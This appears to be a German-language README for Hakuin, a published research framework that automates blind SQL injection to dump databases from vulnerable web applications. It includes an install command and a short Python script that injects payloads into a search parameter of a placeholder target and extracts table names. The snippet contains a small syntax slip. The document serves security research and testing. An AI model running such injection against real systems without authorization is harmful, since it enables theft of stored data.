
Ein blitzschnelles und vollständig konfigurierbares Optimierungs- und Automatisierungsframework für Blind-SQL-Injection.
Hakuin ist ein Framework zur Optimierung und Automatisierung von Blind SQL Injection (BSQLI), geschrieben in Python 3. Es abstrahiert die Extraktionslogik und ermöglicht es Benutzern, einfach und effizient Datenbanken von anfälligen Webanwendungen zu dumpen. Um den Prozess zu beschleunigen, nutzt Hakuin eine Vielzahl von Optimierungsmethoden, darunter vortrainierte und adaptive Sprachmodelle, opportunistisches Raten, statistische Modellierung, Parallelität, ternäre Abfragen und mehr.
Hakuin wurde auf angesehenen akademischen und industriellen Konferenzen vorgestellt:
Weitere Informationen finden Sie in unserem Paper und unseren Folien.
Um Hakuin zu installieren, führen Sie einfach aus:
pip3 install hakuin
Hakuin wird mit einem intuitiven Tool ausgeliefert, das die meisten Funktionen von Hakuin direkt von der Befehlszeile aus bietet:
hk -h
Manchmal sind BSQLI-Schwachstellen zu knifflig, um sie von der Befehlszeile aus auszunutzen, und erfordern benutzerdefinierte Skripte. Hier glänzt Hakuin, da Sie absolut alles anpassen können – die Injektionslogik, die Inferenzlogik und sogar die Abfragen.
Hier ist ein minimales Beispiel:
import asyncio
import aiohttp
from hakuin import Extractor, Requester
class SimpleRequester(Requester):
async def request(self, query, ctx):
payload = query.render(ctx)
url = f'http://target.com/users?search=XXX" OR ({payload})--'
async with aiohttp.request('GET', url) as resp:
return resp.status == 200
async def main():
requester = SimpleRequester():
ext = Extractor(requester=requester, dbms='sqlite')
data = await ext.extract_table_names()
print(data)
asyncio.run(main())
Stellen Sie sicher, dass Sie unser Tutorial durchgehen.
Dieses Repository wird aktiv weiterentwickelt, um den Bedürfnissen von Sicherheitsexperten gerecht zu werden. Forscher, die die in unserem Paper beschriebenen Experimente reproduzieren möchten, sollten die eingefrorene Version installieren, da sie den Originalcode, Experiment-Skripte und ein Handbuch zur Reproduktion der Ergebnisse enthält.
@inproceedings{hakuin_bsqli,
title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
pages={384--393},
year={2023},
organization={IEEE}
}